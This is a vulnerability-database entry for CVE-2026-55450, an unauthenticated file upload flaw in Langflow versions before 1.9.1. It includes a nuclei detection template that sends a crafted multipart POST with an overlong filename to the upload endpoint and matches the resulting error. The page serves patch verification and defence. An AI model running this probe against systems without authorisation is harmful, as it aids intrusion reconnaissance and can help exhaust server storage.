Browse / CVEs / CVE-2026-55450
CVE-2026-55450· CWE-306, CWE-400, CWE-200
Langflow < 1.9.1 - Unauthenticated File Upload
criticalseverity
9.3CVSS score
1.2%likelihood of exploitation, next 30 days
68%of all CVEs are less likely
Readycheck to confirm it
Langflow < 1.9.1 contains an unrestricted file upload caused by lack of upload limitations, letting unauthenticated attackers exhaust server space and leak absolute file paths, exploit requires network access.
Impact
Unauthenticated attackers can exhaust server storage and gain information about file paths, potentially aiding further attacks.
Fix
Update to version 1.9.1 or later.
How to confirm it
Send: POST {{BaseURL}}/api/v1/upload/11111111-1111-1111-1111-111111111111
Positive when: status_code == 500 and contains(body, "[Errno 36] File name too long") and contains(content_type, "application/json")Run it with nuclei: nuclei -id CVE-2026-55450 -u <target>
The full check
id: CVE-2026-55450
info:
name: Langflow < 1.9.1 - Unauthenticated File Upload
author: xtr0nix
severity: critical
description: |
Langflow < 1.9.1 contains an unrestricted file upload caused by lack of upload limitations, letting unauthenticated attackers exhaust server space and leak absolute file paths, exploit requires network access.
impact: |
Unauthenticated attackers can exhaust server storage and gain information about file paths, potentially aiding further attacks.
remediation: |
Update to version 1.9.1 or later.
reference:
- https://github.com/langflow-ai/langflow/security/advisories/GHSA-x223-p2gf-v735
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:H
cvss-score: 9.3
cve-id: CVE-2026-55450
epss-score: 0.0119
epss-percentile: 0.68213
cwe-id: CWE-306,CWE-400,CWE-200
metadata:
verified: true
max-request: 1
tags: cve,cve2026,langflow,unauth,intrusive,vkev
http:
- method: POST
path:
- "{{BaseURL}}/api/v1/upload/11111111-1111-1111-1111-111111111111"
body: |
--boundary
Content-Disposition: form-data; name="file"; filename="x.{{repeat('a', 300)}}"
Content-Type: text/plain
probe
--boundary--
headers:
Content-Type: multipart/form-data; boundary=boundary
matchers:
- type: dsl
dsl:
- status_code == 500
- contains(body, "[Errno 36] File name too long")
- contains(content_type, "application/json")
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from